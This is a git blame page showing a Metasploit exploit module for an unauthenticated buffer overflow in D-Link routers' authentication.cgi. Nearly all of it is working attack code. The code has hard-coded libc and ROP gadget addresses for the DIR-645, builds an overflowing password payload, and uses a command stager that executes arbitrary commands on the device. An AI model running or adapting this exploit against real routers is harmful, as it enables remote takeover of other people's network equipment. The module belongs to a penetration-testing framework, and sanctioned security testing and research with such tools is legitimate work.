Files
metasploit-gs/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

133 lines
5.3 KiB
Ruby
Raw Normal View History

2014-06-14 17:37:09 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-06-14 17:37:09 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
2014-06-14 17:37:09 +02:00
include Msf::Exploit::Remote::HttpClient
2014-06-27 08:40:27 -04:00
include Msf::Exploit::CmdStager
2014-06-14 17:37:09 +02:00
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link authentication.cgi Buffer Overflow',
'Description' => %q{
2017-08-28 20:17:58 -04:00
This module exploits a remote buffer overflow vulnerability on several D-Link routers.
2014-06-20 11:38:10 -05:00
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
long password values. The vulnerability can be exploitable without authentication. This
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
2014-06-23 11:17:00 -05:00
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
2014-06-14 17:37:09 +02:00
},
'Author' =>
[
'Roberto Paleari', # Vulnerability discovery
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
2014-06-23 11:17:00 -05:00
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
2014-06-14 17:37:09 +02:00
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'References' =>
[
['OSVDB', '95951'],
['EDB', '27283'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
2014-06-14 17:37:09 +02:00
],
'Targets' =>
[
[ 'D-Link DIR-645 1.03',
{
'Offset' => 1011,
'LibcBase' => 0x2aaf8000, #Router
#'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system
'CalcSystem' => 0x000158C8, # calculate the correct address of system
'CallSystem' => 0x000159CC, # call our system
}
]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-02-08',
2014-06-27 08:40:27 -04:00
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
2014-06-14 17:37:09 +02:00
end
def check
begin
res = send_request_cgi({
'uri' => "/authentication.cgi",
'method' => 'GET'
})
2014-06-20 11:38:10 -05:00
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
2014-06-14 17:37:09 +02:00
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
2016-02-01 15:12:03 -06:00
print_status("Accessing the vulnerable URL...")
2014-06-14 17:37:09 +02:00
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
2016-02-01 15:12:03 -06:00
print_status("Exploiting...")
2014-06-14 17:37:09 +02:00
execute_cmdstager(
:flavor => :echo,
2014-06-14 17:37:09 +02:00
:linemax => 200,
2014-06-20 11:27:23 -05:00
:concat_operator => " && "
2014-06-14 17:37:09 +02:00
)
end
def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
shellcode << rand_text_alpha_upper(16) # filler in front of our command
shellcode << cmd
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
2014-06-20 11:38:10 -05:00
uid = rand_text_alpha(4)
2014-06-14 17:37:09 +02:00
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/authentication.cgi",
2014-06-20 11:38:10 -05:00
'cookie' => "uid=#{uid}",
2014-06-14 17:37:09 +02:00
'encode_params' => false,
'vars_post' => {
2014-06-20 11:38:10 -05:00
'uid' => uid,
'password' => rand_text_alpha(3) + shellcode,
2014-06-14 17:37:09 +02:00
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end